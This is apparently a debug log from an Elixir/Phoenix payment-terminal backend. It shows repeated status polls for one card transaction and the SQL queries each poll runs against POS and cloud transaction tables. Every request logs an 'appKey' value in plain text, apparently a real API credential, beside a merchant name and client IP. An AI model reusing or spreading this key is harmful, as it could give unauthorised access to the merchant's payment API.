SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:43.292000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:49396] Sent 200 in 26ms
[Fri Sep  4 10:59:48.195000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:49402] POST /api/device/status
[Fri Sep  4 10:59:48.195000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:49402] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:48.195000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:49402] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:48.195000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:49402] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:48.210000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:49402] QUERY OK source="pos_transaction" db=14.2ms idle=1997.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:48.213000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:49402] QUERY OK source="pos_temp_transaction" db=0.7ms idle=1014.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:48.218000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:49402] QUERY OK source="pos_failed_transaction" db=4.6ms idle=1015.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:48.223000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:49402] QUERY OK source="cloud_transaction" db=2.8ms queue=1.2ms idle=1021.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:48.224000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:49402] Sent 200 in 29ms
[Fri Sep  4 10:59:53.103000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:44740] POST /api/device/status
[Fri Sep  4 10:59:53.104000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:44740] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:53.104000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:44740] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:53.105000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:44740] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:53.118000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:44740] QUERY OK source="pos_transaction" db=12.3ms idle=1907.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:53.120000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:44740] QUERY OK source="pos_temp_transaction" db=1.0ms idle=1919.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:53.126000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:44740] QUERY OK source="pos_failed_transaction" db=5.6ms idle=1218.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:53.129000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:44740] QUERY OK source="cloud_transaction" db=0.5ms queue=2.1ms idle=927.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:53.129000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:44740] Sent 200 in 25ms
[Fri Sep  4 10:59:58.090000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:44750] POST /api/device/status
[Fri Sep  4 10:59:58.092000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:44750] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:59:58.092000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:44750] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:59:58.092000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:44750] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:59:58.106000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:44750] QUERY OK source="pos_transaction" db=13.3ms idle=1893.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:59:58.108000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:44750] QUERY OK source="pos_temp_transaction" db=1.1ms queue=0.1ms idle=1907.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:59:58.112000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:44750] QUERY OK source="pos_failed_transaction" db=3.3ms queue=0.1ms idle=1908.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:59:58.113000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:44750] QUERY OK source="cloud_transaction" db=0.5ms idle=1912.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:59:58.113000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:44750] Sent 200 in 22ms
[Fri Sep  4 11:00:00.237000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=3.6ms idle=1031.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:00:00.391000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.1ms idle=1188.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:00:00.392000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=2.8ms idle=1187.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:00:01.015000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.1ms idle=729.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:00:01.016000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.9ms idle=624.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:00:03.378000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:35076] POST /api/device/status
[Fri Sep  4 11:00:03.379000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:35076] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 11:00:03.382000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:35076] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 11:00:03.382000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:35076] Transaction reference number: "ch138604284389"
[Fri Sep  4 11:00:03.497000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:35076] QUERY OK source="pos_transaction" db=114.7ms idle=1174.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 11:00:03.500000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:35076] QUERY OK source="pos_temp_transaction" db=2.2ms idle=1289.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 11:00:03.512000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:35076] QUERY OK source="pos_failed_transaction" db=9.7ms queue=0.1ms idle=1293.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 11:00:03.517000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:35076] QUERY OK source="cloud_transaction" db=4.4ms idle=1303.3ms
